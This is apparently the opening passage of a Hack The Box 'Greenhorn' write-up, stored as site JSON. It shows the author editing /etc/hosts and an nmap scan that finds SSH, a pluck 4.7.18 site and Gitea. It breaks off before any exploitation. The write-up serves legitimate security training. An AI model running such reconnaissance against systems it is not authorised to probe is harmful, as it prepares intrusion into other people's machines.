[{"data":1,"prerenderedAt":8277},["ShallowReactive",2],{"post-hack-the-box-greenhorn":3,"post-list":8013},{"id":4,"title":5,"alsoIn":6,"body":7,"category":7999,"date":8000,"description":8001,"draft":8002,"extension":8003,"image":8004,"links":6,"meta":8005,"navigation":70,"order":6,"path":8006,"readingTime":131,"seo":8007,"series":6,"stem":8008,"strength":1731,"tags":8009,"unlisted":8002,"updated":6,"__hash__":8012},"posts\u002Fposts\u002Fhack-the-box-greenhorn.md","Hack The Box: Greenhorn",null,{"type":8,"value":9,"toc":7997},"minimark",[10,14,148,151,2476,2479,2482,2488,2491,2496,2499,2504,2507,2512,2515,2520,2523,3392,3395,3398,3403,3548,3551,3554,4041,4044,5510,5513,5546,5549,6065,6094,6097,6102,6105,6110,6113,6298,6301,6530,6533,6710,6713,6716,6907,6910,7097,7100,7105,7108,7113,7122,7125,7130,7133,7139,7142,7271,7274,7773,7776,7781,7784,7990,7993],[11,12,13],"p",{},"First, as always, I edit the hosts file so that I don’t have to remember the IP of the room.",[15,16,17],"terminal",{},[18,19,24],"pre",{"className":20,"code":21,"language":22,"meta":23,"style":23},"language-bash shiki shiki-themes gruvbox-dark-medium","┌─[root@htb-givzdwcgxh]─[\u002Fhome\u002Fnobrac]\n└──╼ #cat \u002Fetc\u002Fhosts\n127.0.0.1 localhost\n127.0.1.1 debian12-parrot\n\n10.129.212.10 greenhorn.htb\n\n# The following lines are desirable for IPv6 capable hosts\n::1 localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.0.0.1 localhost\n127.0.1.1 htb-givzdwcgxh htb-givzdwcgxh.htb-cloud.com\n","bash","",[25,26,27,36,46,56,65,72,81,86,92,111,120,129,137],"code",{"__ignoreMap":23},[28,29,32],"span",{"class":30,"line":31},"line",1,[28,33,35],{"class":34},"s59W0","┌─[root@htb-givzdwcgxh]─[\u002Fhome\u002Fnobrac]\n",[28,37,39,42],{"class":30,"line":38},2,[28,40,41],{"class":34},"└──╼",[28,43,45],{"class":44},"s-UKz"," #cat \u002Fetc\u002Fhosts\n",[28,47,49,52],{"class":30,"line":48},3,[28,50,51],{"class":34},"127.0.0.1",[28,53,55],{"class":54},"sTqo2"," localhost\n",[28,57,59,62],{"class":30,"line":58},4,[28,60,61],{"class":34},"127.0.1.1",[28,63,64],{"class":54}," debian12-parrot\n",[28,66,68],{"class":30,"line":67},5,[28,69,71],{"emptyLinePlaceholder":70},true,"\n",[28,73,75,78],{"class":30,"line":74},6,[28,76,77],{"class":34},"10.129.212.10",[28,79,80],{"class":54}," greenhorn.htb\n",[28,82,84],{"class":30,"line":83},7,[28,85,71],{"emptyLinePlaceholder":70},[28,87,89],{"class":30,"line":88},8,[28,90,91],{"class":44},"# The following lines are desirable for IPv6 capable hosts\n",[28,93,95,99,102,105,108],{"class":30,"line":94},9,[28,96,98],{"class":97},"sG605",":",[28,100,101],{"class":54},":1",[28,103,104],{"class":54}," localhost",[28,106,107],{"class":54}," ip6-localhost",[28,109,110],{"class":54}," ip6-loopback\n",[28,112,114,117],{"class":30,"line":113},10,[28,115,116],{"class":34},"ff02::1",[28,118,119],{"class":54}," ip6-allnodes\n",[28,121,123,126],{"class":30,"line":122},11,[28,124,125],{"class":34},"ff02::2",[28,127,128],{"class":54}," ip6-allrouters\n",[28,130,132,134],{"class":30,"line":131},12,[28,133,51],{"class":34},[28,135,136],{"class":54}," localhost\n",[28,138,140,142,145],{"class":30,"line":139},13,[28,141,61],{"class":34},[28,143,144],{"class":54}," htb-givzdwcgxh",[28,146,147],{"class":54}," htb-givzdwcgxh.htb-cloud.com\n",[11,149,150],{},"I then perform an NMAP scan.",[15,152,153],{},[18,154,156],{"className":20,"code":155,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nmap greenhorn.htb -vv -sV -sC\nStarting Nmap 7.94SVN ( https:\u002F\u002Fnmap.org ) at 2024-07-21 05:18 CDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 05:18\nCompleted NSE at 05:18, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 05:18\nCompleted NSE at 05:18, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 05:18\nCompleted NSE at 05:18, 0.00s elapsed\nInitiating Ping Scan at 05:18\nScanning greenhorn.htb (10.129.212.10) [4 ports]\nCompleted Ping Scan at 05:18, 0.04s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 05:18\nScanning greenhorn.htb (10.129.212.10) [1000 ports]\nDiscovered open port 80\u002Ftcp on 10.129.212.10\nDiscovered open port 22\u002Ftcp on 10.129.212.10\nDiscovered open port 3000\u002Ftcp on 10.129.212.10\nCompleted SYN Stealth Scan at 05:18, 0.17s elapsed (1000 total ports)\nInitiating Service scan at 05:18\nScanning 3 services on greenhorn.htb (10.129.212.10)\nCompleted Service scan at 05:20, 86.47s elapsed (3 services on 1 host)\nNSE: Script scanning 10.129.212.10.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 0.46s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 1.02s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 0.00s elapsed\nNmap scan report for greenhorn.htb (10.129.212.10)\nHost is up, received echo-reply ttl 63 (0.0095s latency).\nScanned at 2024-07-21 05:18:45 CDT for 88s\nNot shown: 997 closed tcp ports (reset)\nPORT STATE SERVICE REASON VERSION\n22\u002Ftcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOp+cK9ugCW282Gw6Rqe+Yz+5fOGcZzYi8cmlGmFdFAjI1347tnkKumDGK1qJnJ1hj68bmzOONz\u002Fx1CMeZjnKMw=\n| 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv\n80\u002Ftcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)\n| http-methods: \n|_ Supported Methods: GET HEAD POST\n| http-title: Welcome to GreenHorn ! - GreenHorn\n|_Requested resource was http:\u002F\u002Fgreenhorn.htb\u002F?file=welcome-to-greenhorn\n|_http-trane-info: Problem with XML parsing of \u002Fevox\u002Fabout\n| http-robots.txt: 2 disallowed entries \n|_\u002Fdata\u002F \u002Fdocs\u002F\n|_http-server-header: nginx\u002F1.18.0 (Ubuntu)\n|_http-generator: pluck 4.7.18\n| http-cookie-flags: \n| \u002F: \n| PHPSESSID: \n|_ httponly flag not set\n3000\u002Ftcp open ppp? syn-ack ttl 63\n| fingerprint-strings: \n| GenericLines, Help, RTSPRequest: \n| HTTP\u002F1.1 400 Bad Request\n| Content-Type: text\u002Fplain; charset=utf-8\n| Connection: close\n| Request\n| GetRequest: \n| HTTP\u002F1.0 200 OK\n| Cache-Control: max-age=0, private, must-revalidate, no-transform\n| Content-Type: text\u002Fhtml; charset=utf-8\n| Set-Cookie: i_like_gitea=79e8d2a904fe09bf; Path=\u002F; HttpOnly; SameSite=Lax\n| Set-Cookie: _csrf=mgFczcWRP7JJYhETZDNImDkFvPo6MTcyMTU1NzEzMTEyODY4NDM3MA; Path=\u002F; Max-Age=86400; HttpOnly; SameSite=Lax\n| X-Frame-Options: SAMEORIGIN\n| Date: Sun, 21 Jul 2024 10:18:51 GMT\n| \u003C!DOCTYPE html>\n| \u003Chtml lang=\"en-US\" class=\"theme-auto\">\n| \u003Chead>\n| \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n| \u003Ctitle>GreenHorn\u003C\u002Ftitle>\n| \u003Clink rel=\"manifest\" href=\"data:application\u002Fjson;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX\n| HTTPOptions: \n| HTTP\u002F1.0 405 Method Not Allowed\n| Allow: HEAD\n| Allow: HEAD\n| Allow: GET\n| Cache-Control: max-age=0, private, must-revalidate, no-transform\n| Set-Cookie: i_like_gitea=6f896023f13e7e79; Path=\u002F; HttpOnly; SameSite=Lax\n| Set-Cookie: _csrf=nDbU5RZ8V3ELjgTaGWr3BqPbbmo6MTcyMTU1NzEzNjE5OTAyNjg0MA; Path=\u002F; Max-Age=86400; HttpOnly; SameSite=Lax\n| X-Frame-Options: SAMEORIGIN\n| Date: Sun, 21 Jul 2024 10:18:56 GMT\n|_ Content-Length: 0\n1 service unrecognized despite returning data. If you know the service\u002Fversion, please submit the following fingerprint at https:\u002F\u002Fnmap.org\u002Fcgi-bin\u002Fsubmit.cgi?new-service :\nSF-Port3000-TCP:V=7.94SVN%I=7%D=7\u002F21%Time=669CE08B%P=x86_64-pc-linux-gnu%r\nSF:(GenericLines,67,\"HTTP\u002F1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x\nSF:20text\u002Fplain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Ba\nSF:d\\x20Request\")%r(GetRequest,1000,\"HTTP\u002F1\\.0\\x20200\\x20OK\\r\\nCache-Contr\nSF:ol:\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nCo\nSF:ntent-Type:\\x20text\u002Fhtml;\\x20charset=utf-8\\r\\nSet-Cookie:\\x20i_like_git\nSF:ea=79e8d2a904fe09bf;\\x20Path=\u002F;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet-Coo\nSF:kie:\\x20_csrf=mgFczcWRP7JJYhETZDNImDkFvPo6MTcyMTU1NzEzMTEyODY4NDM3MA;\\x\nSF:20Path=\u002F;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame-Opt\nSF:ions:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2021\\x20Jul\\x202024\\x2010:18:51\\x\nSF:20GMT\\r\\n\\r\\n\u003C!DOCTYPE\\x20html>\\n\u003Chtml\\x20lang=\\\"en-US\\\"\\x20class=\\\"the\nSF:me-auto\\\">\\n\u003Chead>\\n\\t\u003Cmeta\\x20name=\\\"viewport\\\"\\x20content=\\\"width=dev\nSF:ice-width,\\x20initial-scale=1\\\">\\n\\t\u003Ctitle>GreenHorn\u003C\u002Ftitle>\\n\\t\u003Clink\\x\nSF:20rel=\\\"manifest\\\"\\x20href=\\\"data:application\u002Fjson;base64,eyJuYW1lIjoiR\nSF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6\nSF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh\nSF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC\nSF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY\nSF:X\")%r(Help,67,\"HTTP\u002F1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20t\nSF:ext\u002Fplain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x\nSF:20Request\")%r(HTTPOptions,1A4,\"HTTP\u002F1\\.0\\x20405\\x20Method\\x20Not\\x20All\nSF:owed\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20GET\\r\\nCache-Cont\nSF:rol:\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nS\nSF:et-Cookie:\\x20i_like_gitea=6f896023f13e7e79;\\x20Path=\u002F;\\x20HttpOnly;\\x2\nSF:0SameSite=Lax\\r\\nSet-Cookie:\\x20_csrf=nDbU5RZ8V3ELjgTaGWr3BqPbbmo6MTcyM\nSF:TU1NzEzNjE5OTAyNjg0MA;\\x20Path=\u002F;\\x20Max-Age=86400;\\x20HttpOnly;\\x20Sam\nSF:eSite=Lax\\r\\nX-Frame-Options:\\x20SAMEORIGIN\\r\\nDate:\\x20Sun,\\x2021\\x20J\nSF:ul\\x202024\\x2010:18:56\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\")%r(RTSPR\nSF:equest,67,\"HTTP\u002F1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text\u002F\nSF:plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Re\nSF:quest\");\nService Info: OS: Linux; CPE: cpe:\u002Fo:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 05:20\nCompleted NSE at 05:20, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 88.61 seconds\n Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.040KB)\n",[25,157,158,163,171,191,212,222,244,258,276,293,303,317,334,344,359,374,398,429,446,464,485,501,517,546,561,578,612,625,642,654,670,687,698,714,731,742,757,774,807,829,852,870,919,932,946,957,970,981,1008,1018,1041,1067,1084,1110,1128,1139,1152,1166,1176,1186,1196,1215,1233,1243,1259,1276,1299,1310,1318,1328,1342,1362,1380,1416,1456,1467,1493,1513,1547,1559,1591,1610,1638,1644,1650,1656,1661,1667,1673,1679,1685,1691,1697,1703,1709,1715,1757,1810,1822,1855,1881,1920,1933,1968,1974,2015,2038,2049,2069,2075,2081,2087,2093,2108,2114,2128,2134,2140,2146,2152,2158,2164,2175,2184,2190,2202,2225,2230,2240,2257,2268,2283,2300,2311,2326,2343,2354,2369,2387,2420,2447],{"__ignoreMap":23},[28,159,160],{"class":30,"line":31},[28,161,162],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n",[28,164,165,167],{"class":30,"line":38},[28,166,41],{"class":34},[28,168,170],{"class":169},"sM0OT"," [★]$ nmap greenhorn.htb -vv -sV -sC\n",[28,172,173,176,179,182,185,188],{"class":30,"line":48},[28,174,175],{"class":34},"Starting",[28,177,178],{"class":54}," Nmap",[28,180,181],{"class":54}," 7.94SVN",[28,183,184],{"class":169}," ( ",[28,186,187],{"class":54},"https:\u002F\u002Fnmap.org",[28,189,190],{"class":169}," ) at 2024-07-21 05:18 CDT\n",[28,192,193,196,199,203,206,209],{"class":30,"line":58},[28,194,195],{"class":34},"NSE:",[28,197,198],{"class":54}," Loaded",[28,200,202],{"class":201},"ssIPD"," 156",[28,204,205],{"class":54}," scripts",[28,207,208],{"class":54}," for",[28,210,211],{"class":54}," scanning.\n",[28,213,214,216,219],{"class":30,"line":67},[28,215,195],{"class":34},[28,217,218],{"class":54}," Script",[28,220,221],{"class":54}," Pre-scanning.\n",[28,223,224,226,229,232,235,238,241],{"class":30,"line":74},[28,225,195],{"class":34},[28,227,228],{"class":54}," Starting",[28,230,231],{"class":54}," runlevel",[28,233,234],{"class":201}," 1",[28,236,237],{"class":169}," (of ",[28,239,240],{"class":201},"3",[28,242,243],{"class":169},") scan.\n",[28,245,246,249,252,255],{"class":30,"line":83},[28,247,248],{"class":34},"Initiating",[28,250,251],{"class":54}," NSE",[28,253,254],{"class":54}," at",[28,256,257],{"class":54}," 05:18\n",[28,259,260,263,265,267,270,273],{"class":30,"line":88},[28,261,262],{"class":34},"Completed",[28,264,251],{"class":54},[28,266,254],{"class":54},[28,268,269],{"class":54}," 05:18,",[28,271,272],{"class":54}," 0.00s",[28,274,275],{"class":54}," elapsed\n",[28,277,278,280,282,284,287,289,291],{"class":30,"line":94},[28,279,195],{"class":34},[28,281,228],{"class":54},[28,283,231],{"class":54},[28,285,286],{"class":201}," 2",[28,288,237],{"class":169},[28,290,240],{"class":201},[28,292,243],{"class":169},[28,294,295,297,299,301],{"class":30,"line":113},[28,296,248],{"class":34},[28,298,251],{"class":54},[28,300,254],{"class":54},[28,302,257],{"class":54},[28,304,305,307,309,311,313,315],{"class":30,"line":122},[28,306,262],{"class":34},[28,308,251],{"class":54},[28,310,254],{"class":54},[28,312,269],{"class":54},[28,314,272],{"class":54},[28,316,275],{"class":54},[28,318,319,321,323,325,328,330,332],{"class":30,"line":131},[28,320,195],{"class":34},[28,322,228],{"class":54},[28,324,231],{"class":54},[28,326,327],{"class":201}," 3",[28,329,237],{"class":169},[28,331,240],{"class":201},[28,333,243],{"class":169},[28,335,336,338,340,342],{"class":30,"line":139},[28,337,248],{"class":34},[28,339,251],{"class":54},[28,341,254],{"class":54},[28,343,257],{"class":54},[28,345,347,349,351,353,355,357],{"class":30,"line":346},14,[28,348,262],{"class":34},[28,350,251],{"class":54},[28,352,254],{"class":54},[28,354,269],{"class":54},[28,356,272],{"class":54},[28,358,275],{"class":54},[28,360,362,364,367,370,372],{"class":30,"line":361},15,[28,363,248],{"class":34},[28,365,366],{"class":54}," Ping",[28,368,369],{"class":54}," Scan",[28,371,254],{"class":54},[28,373,257],{"class":54},[28,375,377,380,383,386,389,392,395],{"class":30,"line":376},16,[28,378,379],{"class":34},"Scanning",[28,381,382],{"class":54}," greenhorn.htb",[28,384,385],{"class":169}," (10.129.212.10) ",[28,387,388],{"class":97},"[",[28,390,391],{"class":201},"4",[28,393,394],{"class":169}," ports",[28,396,397],{"class":97},"]\n",[28,399,401,403,405,407,409,411,414,417,420,423,426],{"class":30,"line":400},17,[28,402,262],{"class":34},[28,404,366],{"class":54},[28,406,369],{"class":54},[28,408,254],{"class":54},[28,410,269],{"class":54},[28,412,413],{"class":54}," 0.04s",[28,415,416],{"class":54}," elapsed",[28,418,419],{"class":169}," (1 ",[28,421,422],{"class":54},"total",[28,424,425],{"class":54}," hosts",[28,427,428],{"class":169},")\n",[28,430,432,434,437,440,442,444],{"class":30,"line":431},18,[28,433,248],{"class":34},[28,435,436],{"class":54}," SYN",[28,438,439],{"class":54}," Stealth",[28,441,369],{"class":54},[28,443,254],{"class":54},[28,445,257],{"class":54},[28,447,449,451,453,455,457,460,462],{"class":30,"line":448},19,[28,450,379],{"class":34},[28,452,382],{"class":54},[28,454,385],{"class":169},[28,456,388],{"class":97},[28,458,459],{"class":201},"1000",[28,461,394],{"class":169},[28,463,397],{"class":97},[28,465,467,470,473,476,479,482],{"class":30,"line":466},20,[28,468,469],{"class":34},"Discovered",[28,471,472],{"class":54}," open",[28,474,475],{"class":54}," port",[28,477,478],{"class":54}," 80\u002Ftcp",[28,480,481],{"class":54}," on",[28,483,484],{"class":201}," 10.129.212.10\n",[28,486,488,490,492,494,497,499],{"class":30,"line":487},21,[28,489,469],{"class":34},[28,491,472],{"class":54},[28,493,475],{"class":54},[28,495,496],{"class":54}," 22\u002Ftcp",[28,498,481],{"class":54},[28,500,484],{"class":201},[28,502,504,506,508,510,513,515],{"class":30,"line":503},22,[28,505,469],{"class":34},[28,507,472],{"class":54},[28,509,475],{"class":54},[28,511,512],{"class":54}," 3000\u002Ftcp",[28,514,481],{"class":54},[28,516,484],{"class":201},[28,518,520,522,524,526,528,530,532,535,537,540,542,544],{"class":30,"line":519},23,[28,521,262],{"class":34},[28,523,436],{"class":54},[28,525,439],{"class":54},[28,527,369],{"class":54},[28,529,254],{"class":54},[28,531,269],{"class":54},[28,533,534],{"class":54}," 0.17s",[28,536,416],{"class":54},[28,538,539],{"class":169}," (1000 ",[28,541,422],{"class":54},[28,543,394],{"class":54},[28,545,428],{"class":169},[28,547,549,551,554,557,559],{"class":30,"line":548},24,[28,550,248],{"class":34},[28,552,553],{"class":54}," Service",[28,555,556],{"class":54}," scan",[28,558,254],{"class":54},[28,560,257],{"class":54},[28,562,564,566,568,571,573,575],{"class":30,"line":563},25,[28,565,379],{"class":34},[28,567,327],{"class":201},[28,569,570],{"class":54}," services",[28,572,481],{"class":54},[28,574,382],{"class":54},[28,576,577],{"class":169}," (10.129.212.10)\n",[28,579,581,583,585,587,589,592,595,597,600,603,605,607,610],{"class":30,"line":580},26,[28,582,262],{"class":34},[28,584,553],{"class":54},[28,586,556],{"class":54},[28,588,254],{"class":54},[28,590,591],{"class":54}," 05:20,",[28,593,594],{"class":54}," 86.47s",[28,596,416],{"class":54},[28,598,599],{"class":169}," (3 ",[28,601,602],{"class":54},"services",[28,604,481],{"class":54},[28,606,234],{"class":201},[28,608,609],{"class":54}," host",[28,611,428],{"class":169},[28,613,615,617,619,622],{"class":30,"line":614},27,[28,616,195],{"class":34},[28,618,218],{"class":54},[28,620,621],{"class":54}," scanning",[28,623,624],{"class":54}," 10.129.212.10.\n",[28,626,628,630,632,634,636,638,640],{"class":30,"line":627},28,[28,629,195],{"class":34},[28,631,228],{"class":54},[28,633,231],{"class":54},[28,635,234],{"class":201},[28,637,237],{"class":169},[28,639,240],{"class":201},[28,641,243],{"class":169},[28,643,645,647,649,651],{"class":30,"line":644},29,[28,646,248],{"class":34},[28,648,251],{"class":54},[28,650,254],{"class":54},[28,652,653],{"class":54}," 05:20\n",[28,655,657,659,661,663,665,668],{"class":30,"line":656},30,[28,658,262],{"class":34},[28,660,251],{"class":54},[28,662,254],{"class":54},[28,664,591],{"class":54},[28,666,667],{"class":54}," 0.46s",[28,669,275],{"class":54},[28,671,673,675,677,679,681,683,685],{"class":30,"line":672},31,[28,674,195],{"class":34},[28,676,228],{"class":54},[28,678,231],{"class":54},[28,680,286],{"class":201},[28,682,237],{"class":169},[28,684,240],{"class":201},[28,686,243],{"class":169},[28,688,690,692,694,696],{"class":30,"line":689},32,[28,691,248],{"class":34},[28,693,251],{"class":54},[28,695,254],{"class":54},[28,697,653],{"class":54},[28,699,701,703,705,707,709,712],{"class":30,"line":700},33,[28,702,262],{"class":34},[28,704,251],{"class":54},[28,706,254],{"class":54},[28,708,591],{"class":54},[28,710,711],{"class":54}," 1.02s",[28,713,275],{"class":54},[28,715,717,719,721,723,725,727,729],{"class":30,"line":716},34,[28,718,195],{"class":34},[28,720,228],{"class":54},[28,722,231],{"class":54},[28,724,327],{"class":201},[28,726,237],{"class":169},[28,728,240],{"class":201},[28,730,243],{"class":169},[28,732,734,736,738,740],{"class":30,"line":733},35,[28,735,248],{"class":34},[28,737,251],{"class":54},[28,739,254],{"class":54},[28,741,653],{"class":54},[28,743,745,747,749,751,753,755],{"class":30,"line":744},36,[28,746,262],{"class":34},[28,748,251],{"class":54},[28,750,254],{"class":54},[28,752,591],{"class":54},[28,754,272],{"class":54},[28,756,275],{"class":54},[28,758,760,763,765,768,770,772],{"class":30,"line":759},37,[28,761,762],{"class":34},"Nmap",[28,764,556],{"class":54},[28,766,767],{"class":54}," report",[28,769,208],{"class":54},[28,771,382],{"class":54},[28,773,577],{"class":169},[28,775,777,780,783,786,789,792,795,798,801,804],{"class":30,"line":776},38,[28,778,779],{"class":34},"Host",[28,781,782],{"class":54}," is",[28,784,785],{"class":54}," up,",[28,787,788],{"class":54}," received",[28,790,791],{"class":54}," echo-reply",[28,793,794],{"class":54}," ttl",[28,796,797],{"class":201}," 63",[28,799,800],{"class":169}," (0.0095s ",[28,802,803],{"class":54},"latency",[28,805,806],{"class":169},").\n",[28,808,810,813,815,818,821,824,826],{"class":30,"line":809},39,[28,811,812],{"class":34},"Scanned",[28,814,254],{"class":54},[28,816,817],{"class":54}," 2024-07-21",[28,819,820],{"class":54}," 05:18:45",[28,822,823],{"class":54}," CDT",[28,825,208],{"class":54},[28,827,828],{"class":54}," 88s\n",[28,830,832,835,838,841,844,847,849],{"class":30,"line":831},40,[28,833,834],{"class":34},"Not",[28,836,837],{"class":54}," shown:",[28,839,840],{"class":201}," 997",[28,842,843],{"class":54}," closed",[28,845,846],{"class":54}," tcp",[28,848,394],{"class":54},[28,850,851],{"class":169}," (reset)\n",[28,853,855,858,861,864,867],{"class":30,"line":854},41,[28,856,857],{"class":34},"PORT",[28,859,860],{"class":54}," STATE",[28,862,863],{"class":54}," SERVICE",[28,865,866],{"class":54}," REASON",[28,868,869],{"class":54}," VERSION\n",[28,871,873,876,879,882,885,887,889,892,895,898,901,904,907,911,914,917],{"class":30,"line":872},42,[28,874,875],{"class":34},"22\u002Ftcp",[28,877,878],{"class":54}," open",[28,880,881],{"class":54}," ssh",[28,883,884],{"class":54}," syn-ack",[28,886,794],{"class":54},[28,888,797],{"class":201},[28,890,891],{"class":54}," OpenSSH",[28,893,894],{"class":54}," 8.9p1",[28,896,897],{"class":54}," Ubuntu",[28,899,900],{"class":54}," 3ubuntu0.10",[28,902,903],{"class":169}," (Ubuntu ",[28,905,906],{"class":54},"Linux",[28,908,910],{"class":909},"svnLg",";",[28,912,913],{"class":34}," protocol",[28,915,916],{"class":201}," 2.0",[28,918,428],{"class":169},[28,920,922,926,929],{"class":30,"line":921},43,[28,923,925],{"class":924},"sM2RB","|",[28,927,928],{"class":34}," ssh-hostkey:",[28,930,931],{"class":169}," \n",[28,933,935,937,940,943],{"class":30,"line":934},44,[28,936,925],{"class":924},[28,938,939],{"class":34}," 256",[28,941,942],{"class":54}," 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd",[28,944,945],{"class":169}," (ECDSA)\n",[28,947,949,951,954],{"class":30,"line":948},45,[28,950,925],{"class":924},[28,952,953],{"class":34}," ecdsa-sha2-nistp256",[28,955,956],{"class":54}," AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOp+cK9ugCW282Gw6Rqe+Yz+5fOGcZzYi8cmlGmFdFAjI1347tnkKumDGK1qJnJ1hj68bmzOONz\u002Fx1CMeZjnKMw=\n",[28,958,960,962,964,967],{"class":30,"line":959},46,[28,961,925],{"class":924},[28,963,939],{"class":34},[28,965,966],{"class":54}," 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f",[28,968,969],{"class":169}," (ED25519)\n",[28,971,973,975,978],{"class":30,"line":972},47,[28,974,925],{"class":924},[28,976,977],{"class":34},"_ssh-ed25519",[28,979,980],{"class":54}," AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv\n",[28,982,984,987,989,992,995,997,999,1002,1005],{"class":30,"line":983},48,[28,985,986],{"class":34},"80\u002Ftcp",[28,988,878],{"class":54},[28,990,991],{"class":54}," http",[28,993,994],{"class":54}," syn-ack",[28,996,794],{"class":54},[28,998,797],{"class":201},[28,1000,1001],{"class":54}," nginx",[28,1003,1004],{"class":201}," 1.18.0",[28,1006,1007],{"class":169}," (Ubuntu)\n",[28,1009,1011,1013,1016],{"class":30,"line":1010},49,[28,1012,925],{"class":924},[28,1014,1015],{"class":34}," http-methods:",[28,1017,931],{"class":169},[28,1019,1021,1023,1026,1029,1032,1035,1038],{"class":30,"line":1020},50,[28,1022,925],{"class":924},[28,1024,1025],{"class":34},"_",[28,1027,1028],{"class":54}," Supported",[28,1030,1031],{"class":54}," Methods:",[28,1033,1034],{"class":54}," GET",[28,1036,1037],{"class":54}," HEAD",[28,1039,1040],{"class":54}," POST\n",[28,1042,1044,1046,1049,1052,1055,1058,1061,1064],{"class":30,"line":1043},51,[28,1045,925],{"class":924},[28,1047,1048],{"class":34}," http-title:",[28,1050,1051],{"class":54}," Welcome",[28,1053,1054],{"class":54}," to",[28,1056,1057],{"class":54}," GreenHorn",[28,1059,1060],{"class":54}," !",[28,1062,1063],{"class":54}," -",[28,1065,1066],{"class":54}," GreenHorn\n",[28,1068,1070,1072,1075,1078,1081],{"class":30,"line":1069},52,[28,1071,925],{"class":924},[28,1073,1074],{"class":34},"_Requested",[28,1076,1077],{"class":54}," resource",[28,1079,1080],{"class":54}," was",[28,1082,1083],{"class":54}," http:\u002F\u002Fgreenhorn.htb\u002F?file=welcome-to-greenhorn\n",[28,1085,1087,1089,1092,1095,1098,1101,1104,1107],{"class":30,"line":1086},53,[28,1088,925],{"class":924},[28,1090,1091],{"class":34},"_http-trane-info:",[28,1093,1094],{"class":54}," Problem",[28,1096,1097],{"class":54}," with",[28,1099,1100],{"class":54}," XML",[28,1102,1103],{"class":54}," parsing",[28,1105,1106],{"class":54}," of",[28,1108,1109],{"class":54}," 